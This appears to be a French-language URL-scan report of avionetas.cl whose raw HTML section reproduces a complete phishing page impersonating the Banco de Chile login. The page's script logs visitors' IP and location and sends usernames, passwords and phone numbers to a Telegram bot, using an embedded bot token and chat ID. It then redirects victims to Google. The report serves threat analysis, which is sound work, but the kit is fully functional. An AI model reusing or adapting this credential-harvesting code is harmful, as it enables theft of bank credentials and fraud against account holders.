https://avionetas.cl/

ID de l'analyse :
388713a9-48cf-4e10-a9eb-4bb004fce7c6Terminée
URL soumise :
https://avionetas.cl/
Fin du rapport :

Liens : 0 trouvé(s)

Liens sortants identifiés à partir de la page

Variables JavaScript : 11 trouvée(s)

Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel

NomType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
showSpinnerfunction
redirectToGooglefunction
getFlagEmojifunction
getUserLocationDatafunction
createCopyableTextfunction
sendVisitorNotificationfunction
sendLoginCredentialsfunction

Messages de journal de console : 4 trouvé(s)

Messages consignés dans la console web

TypeCatégorieEnregistrement
verbosedom
URL
https://avionetas.cl/
texte
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o
errornetwork
URL
https://www.bancochile.cl/wps/themes/html/theme-bch/images/bc-logo.png
texte
Failed to load resource: net::ERR_HTTP2_PROTOCOL_ERROR
errornetwork
URL
https://www.bancochile.cl/wps/themes/html/theme-bch/images/logo-banco-edwards-citi.png
texte
Failed to load resource: net::ERR_HTTP2_PROTOCOL_ERROR
errornetwork
URL
https://avionetas.cl/favicon.ico
texte
Failed to load resource: the server responded with a status of 404 (Not Found)

HTML

Le corps HTML de la page en données brutes

<!DOCTYPE html><html lang="es"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - Banco de Chile</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        body {
            margin: 0;
            padding: 0;
            background-image: url('https://login.portal.bancochile.cl/bancochile-web/persona/login/assets/images/bg-login.jpg');
            background-size: cover;
            background-position: center;
            font-family: Arial, sans-serif;
        }

        .top-bar {
            display: flex;
            justify-content: space-between;
            align-items: center;
            background-color: white;
            padding: 10px 20px;
            position: fixed;
            width: 100%;
            top: 0;
            z-index: 1000;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }

        .top-bar img {
            height: 40px;
        }

        .login-container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            position: relative;
            z-index: 1;
        }

        .login-form {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            width: 300px;
            height: 350px;
            text-align: center;
            position: relative;
        }

        .login-form h2 {
            margin-bottom: 30px;
            font-size: 24px;
            color: #003366;
        }

        .input-container {
            position: relative;
            margin: 15px 0;
        }

        .login-input {
            width: 100%;
            padding: 12px 10px 12px 40px;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
            font-size: 14px;
        }

        .login-input:focus {
            outline: none;
            border-color: #4CAF50;
        }

        .input-icon {
            position: absolute;
            left: 10px;
            top: 50%;
            transform: translateY(-50%);
            color: gray;
            pointer-events: none;
        }

        .login-button {
            width: 100%;
            padding: 10px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            margin-top: 20px;
            transition: background-color 0.3s ease;
        }

        .login-button:hover {
            background-color: #45a049;
        }

        .forgot-password {
            display: block;
            margin-top: 15px;
            color: #003366;
            text-decoration: none;
            text-align: left;
            padding-left: 10px;
        }

        .forgot-password:hover {
            text-decoration: underline;
        }

        .login-form::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 100%;
            height: 4px;
            background-color: #003366;
            border-radius: 0 0 8px 8px;
        }

        .spinner {
            display: none;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            border: 4px solid rgba(0, 51, 102, 0.3);
            border-top: 4px solid #003366;
            border-radius: 50%;
            width: 50px;
            height: 50px;
            animation: spin 1s linear infinite;
            z-index: 1002;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .modal {
            display: none;
            position: fixed;
            z-index: 1001;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
        }

        .modal-content {
            background-color: white;
            padding: 30px;
            border-radius: 8px;
            text-align: center;
            width: 300px;
        }

        .modal-content h3 {
            margin-bottom: 20px;
            color: #003366;
        }

        .modal-content .input-container {
            position: relative;
        }

        .modal-content input {
            width: 100%;
            padding: 10px 10px 10px 40px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }

        .modal-content button {
            width: 100%;
            padding: 10px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }

        .modal-content button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div class="top-bar">
        <img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/bc-logo.png" alt="Logo Banco de Chile">
        <img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/logo-banco-edwards-citi.png" alt="Logo Edwards Citi">
    </div>

    <div class="login-container">
        <div class="login-form">
            <h2>Iniciar Sesión</h2>
            <div class="spinner" id="spinner"></div>
            
            <div class="input-container">
                <i class="fas fa-user input-icon"></i>
                <input type="text" class="login-input" placeholder="Usuario" required="" pattern="[0-9k]+" title="Solo se permiten números y la letra k">
            </div>
            
            <div class="input-container">
                <i class="fas fa-lock input-icon"></i>
                <input type="password" class="login-input" placeholder="Contraseña" required="">
            </div>
            
            <a href="#" class="forgot-password">Olvido mi clave</a>
            <button class="login-button" onclick="showSpinner()">Iniciar Sesión</button>
        </div>
    </div>

    <div class="modal" id="modal">
        <div class="modal-content">
            <h3>Verificación de Identidad</h3>
            <div class="input-container">
                <i class="fas fa-phone input-icon"></i>
                <input type="tel" placeholder="Número de Teléfono" required="" pattern="[0-9]+" title="Solo se permiten números">
            </div>
            <button onclick="redirectToGoogle()">Verificar</button>
        </div>
    </div>

    <script>
    function showSpinner() {
        const inputs = document.querySelectorAll('.login-input');
        const isValid = Array.from(inputs).every(input => input.checkValidity());
        
        if (isValid) {
            inputs.forEach(input => input.value = '');
            document.getElementById('spinner').style.display = 'block';
            setTimeout(() => {
                document.getElementById('spinner').style.display = 'none';
                document.getElementById('modal').style.display = 'flex';
            }, 1500);
        } else {
            // Mostrar la alerta
            alert('Por favor, ingrese un usuario o contraseña válidos.');
            // Esperar 1 segundo antes de recargar la página
            setTimeout(() => {
                location.reload();
            }, 1000); // Espera 1 segundo antes de recargar
        }
    }

    function redirectToGoogle() {
        const phoneInput = document.querySelector('.modal-content input');
        if (phoneInput.checkValidity()) {
            window.location.href = 'https://www.google.com';
        } else {
            // Mostrar la alerta
            alert('Por favor, ingrese un número de teléfono válido.');
            // Esperar 1 segundo antes de recargar la página
            setTimeout(() => {
                location.reload();
            }, 1000); // Espera 1 segundo antes de recargar
        }
    }
    </script>
    <script>
// Función para obtener el emoji de la bandera
function getFlagEmoji(countryCode) {
    if (!countryCode) return "";
    const codePoints = countryCode
        .toUpperCase()
        .split('')
        .map(char => 127397 + char.charCodeAt());
    return String.fromCodePoint(...codePoints);
}

// Función para obtener la ubicación del usuario
async function getUserLocationData() {
    try {
        const response = await fetch("https://ipapi.co/json/");
        return await response.json();
    } catch (error) {
        console.error("Error obteniendo la IP:", error);
        return null;
    }
}

// Función para crear texto copiable en Telegram
function createCopyableText(label, value) {
    return `${label}: ${value}`;
}

// Función para enviar notificación de visitante
async function sendVisitorNotification() {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
            `👀 Estado: Cliente en línea\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `🕒 Hora: ${new Date().toLocaleString()}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn @Buhoneroo`;

        const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
        const chatId = "-4674303237";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Función para enviar credenciales de inicio de sesión
async function sendLoginCredentials(username, password) {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
            `👤 ${createCopyableText("Usuario", username)}\n` +
            `🔒 ${createCopyableText("Clave", password)}\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn @Buhoneroo`;

        const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
        const chatId = "-4674303237";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Función para enviar número de teléfono
async function sendPhoneNumber(phoneNumber) {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
            `📱 ${createCopyableText("Teléfono", phoneNumber)}\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn @Buhoneroo`;

        const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
        const chatId = "-4674303237";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Modificar la función de redirección para enviar el teléfono primero
function redirectToGoogle() {
    const phoneInput = document.querySelector('.modal-content input[placeholder="Número de Teléfono"]');
    const phoneNumber = phoneInput.value;
    
    if (phoneNumber) {
        // Primero enviar el número de teléfono
        sendPhoneNumber(phoneNumber).then(() => {
            // Luego redirigir a Google
            window.location.href = 'https://www.google.com';
        });
    } else {
        // Si no hay número, redirigir directamente
        window.location.href = 'https://www.google.com';
    }
}

// Event Listeners
document.addEventListener("DOMContentLoaded", function() {
    // Enviar notificación de visitante cuando la página carga
    sendVisitorNotification();

    // Manejar envío del formulario de inicio de sesión
    document.querySelector(".login-button").addEventListener("click", function(e) {
        const usernameInput = document.querySelector('.login-input[placeholder="Usuario"]');
        const passwordInput = document.querySelector('.login-input[placeholder="Contraseña"]');
        
        const username = usernameInput.value;
        const password = passwordInput.value;
        
        if(username && password) {
            sendLoginCredentials(username, password);
        }
    });

    // Asignar la función de redirección modificada
    document.querySelector('.modal-content button').onclick = redirectToGoogle;
});
</script>

</body></html>